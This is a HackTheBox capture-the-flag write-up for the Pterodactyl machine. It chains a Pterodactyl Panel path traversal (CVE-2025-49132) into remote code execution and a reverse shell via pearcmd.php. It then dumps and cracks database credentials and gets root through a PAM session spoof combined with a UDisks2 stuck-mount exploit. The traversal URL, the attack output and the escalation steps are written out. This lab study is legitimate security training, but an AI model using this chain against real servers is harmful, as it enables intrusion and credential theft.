Pterodactyl Writeup - HackTheBox
Last updated May 16, 2026 • 5 min read
Discovery
TCP scan reveals two open ports. The HTTP server immediately redirects to pterodactyl.htb, signalling virtual host routing.
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6 (protocol 2.0) 80/tcp open http nginx 1.21.5 |_http-title: Pterodactyl
Vhost enumeration against the base domain finds one additional subdomain. The panel vhost returns a 200 with a distinct response size — confirmed live.
panel.pterodactyl.htb Status: 200 [Size: 1897]
Add both to /etc/hosts:
panel.pterodactyl.htb serves the Pterodactyl Panel login interface — a PHP/Laravel game server management platform. The X-Powered-By header confirms PHP 8.4.8 on nginx 1.21.5.
Vulnerability Discovery
CVE-2025-49132 — Unauthenticated LFI via locale endpoint
Pterodactyl Panel ≤ 1.11.10 exposes a path traversal vulnerability through the /locales/locale.json endpoint. The locale and namespace GET parameters are not sanitised, allowing traversal outside the locale directory into the application's config tree. Because PEAR (pearcmd.php) is installed on the system, the LFI can be chained into unauthenticated RCE.
Confirm the endpoint is accessible and the target is vulnerable:
The server returns HTTP 200 with a valid session cookie and CSRF token — no authentication required. Multiple public PoCs confirm the path traversal with locale=../../../pterodactyl&namespace=config/database.
Run the scanner to confirm:
[+] Vulnerable: Vulnerability confirmed
Exploit URL: http://panel.pterodactyl.htb/locales/locale.json?locale=..%2F..%2Fconfig&namespace=app
Extracted APP_KEY: base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY=
Run the credential dumper:
App key: base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY= -- Database config -- host: 127.0.0.1 port: 3306 database: panel username: pterodactyl password: $PTERODACTYL_PASSWORD
Database credentials are stored in plaintext inside the Laravel config. The APP_KEY is used by Laravel to encrypt session cookies — possession of it allows session forgery, but RCE is the faster path here.
Initial Access
RCE via pearcmd.php
phpinfo.php on pterodactyl.htb reveals PEAR is installed at /usr/share/php/PEAR. The pearcmd.php file can be included via the same locale traversal, and PEAR's config-create command writes arbitrary content to a path controlled by the attacker. This gives file write and therefore RCE.
Start a listener:
Run the full exploit with a reverse shell payload, pointing at the confirmed PEAR path:
[+] TARGET IS VULNERABLE [+] Output: (connection held — check your listener)
Shell received:
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP]
wwwrun@@pterodactyl:/var/www/pterodactyl/public>
Running as wwwrun (uid=474). The web root is /var/www/pterodactyl.
Post-Exploitation
Credential extraction via MySQL
Two shell users exist with a login shell: headmonitor and phileasfogg3. The database credentials from the config dump work directly against the local MySQL instance.
id username email root_admin 2 headmonitor [email protected] 1 3 phileasfogg3 [email protected] 0
Two bcrypt hashes. Save them to hashes.txt and crack offline:
One hash cracks. $PHILEASFOGG3_PASSWORD recovers for phileasfogg3. The headmonitor hash does not crack from rockyou.
User Shell
SSH with the cracked credentials:
(phileasfogg3@$TARGET_IP) Password: Have a lot of fun... phileasfogg3@pterodactyl:~>
sudo -l returns nothing actionable — targetpw is set, blocking sudo escalation without root's password. No writable cron entries. SUID scan returns only standard system binaries. PATH includes /home/phileasfogg3/bin first, but the directory is empty.
Check local mail:
An internal message from headmonitor flags unusual activity from the udisksd daemon and advises reviewing logs and applying updates. Combined with udisksd running as root (confirmed via busctl list), this points directly to CVE-2025-6019.
Privilege Escalation
CVE-2025-6018 + CVE-2025-6019 — PAM session spoof to UDisks2 LPE
Two vulnerabilities chained:
CVE-2025-6018 — PAM pam_env.so 1.3.0 reads ~/.pam_environment before pam_systemd.so registers the session. The OVERRIDE directive lets an unprivileged user inject XDG_SEAT=seat0 and XDG_VTNR=1 into the environment, causing systemd-logind to register the SSH session as a local physical session. This grants allow_active Polkit status — the same privilege level as a user physically present at the console.
CVE-2025-6019 — When UDisks2.Filesystem.Resize is called on an XFS loop device with an impossible target size (e.g. 1), libblockdev creates a temporary mount at /tmp/blockdev.XXXXXX/, mounts the loop device, fails the resize, then returns without unmounting. Any SUID binary inside the image remains accessible through the stuck mount.
The allow_active session from CVE-2025-6018 is required to call udisksctl loop-setup and trigger the resize — without it, Polkit rejects both operations.
Build the exploit image (attacker machine)
Clone the PoC and run it locally to generate the XFS image containing a static SUID root binary:
[+] Compiled static rootbash. [+] Created XFS image. [+] Injected SUID shell into image. [+] Compiled static catcher. [SUCCESS] Upload 'exploit.img' and 'catcher' to the target /tmp folder.
A static binary is required because SUID execution ignores LD_LIBRARY_PATH — a dynamically linked binary would fail if library versions differ between attacker and target.
Transfer to the target:
Stage 1 — Inject PAM environment and verify allow_active
The CVE-2025-6018 script handles the .pam_environment write and reconnection automatically:
[INFO] Vulnerable PAM version detected: pam-1.3.0 [INFO] pam_systemd.so found - escalation vector available [INFO] Writing .pam_environment file [INFO] Reconnecting to trigger PAM environment loading [INFO] PRIVILEGE ESCALATION DETECTED: SystemD Reboot [INFO] EXPLOITATION SUCCESSFUL - Privilege escalation confirmed [INFO] Starting interactive shell session --- Interactive Shell ---
Verify the session registered as a local seat:
VTNr=1 Seat=seat0 Active=yes
Seat=seat0 and VTNr=1 confirm allow_active. The session is now treated as physically local.
Stage 2 — Trigger CVE-2025-6019 and catch the stuck mount
From inside the exploit shell, make the files executable then run the exploit:
[+] Session is Active. Polkit bypass enabled. [*] Starting Background Trigger (Wait 2s)... [*] Starting Foreground Catcher... [*] HOLD TIGHT. ROOT SHELL INCOMING. [*] Sniper started. Waiting for ANY loop mount... [*] (BG) Setting up loop device... [*] (BG) Triggering Resize on /org/freedesktop/UDisks2/block_devices/loop0... [!!!] HIT! Mounted at: /tmp/blockdev.RBR2K3 pterodactyl:~ # whoami root
Root shell obtained via the static SUID binary left accessible in the stuck XFS mount.
References
-
CVE-2025-49132 NVD entrynvd.nist.gov/vuln/detail/CVE-2025-49132 (opens in new tab)
-
CVE-2025-6018 NVD entrynvd.nist.gov/vuln/detail/CVE-2025-6018 (opens in new tab)
-
CVE-2025-6019 NVD entrynvd.nist.gov/vuln/detail/CVE-2025-6019 (opens in new tab)
-
Pterodactyl Panel v1.11.11 patch releasegithub.com/pterodactyl/panel/releases/tag/v1.11.11 (opens in new tab)
-
CVE-2025-6018/6019 combined PoCgithub.com/MichaelVenturella/CVE-2025-6018-6019-PoC (opens in new tab)
-
CVE-2025-6018 standalone PoCgithub.com/ibrahmsql/CVE-2025-6018 (opens in new tab)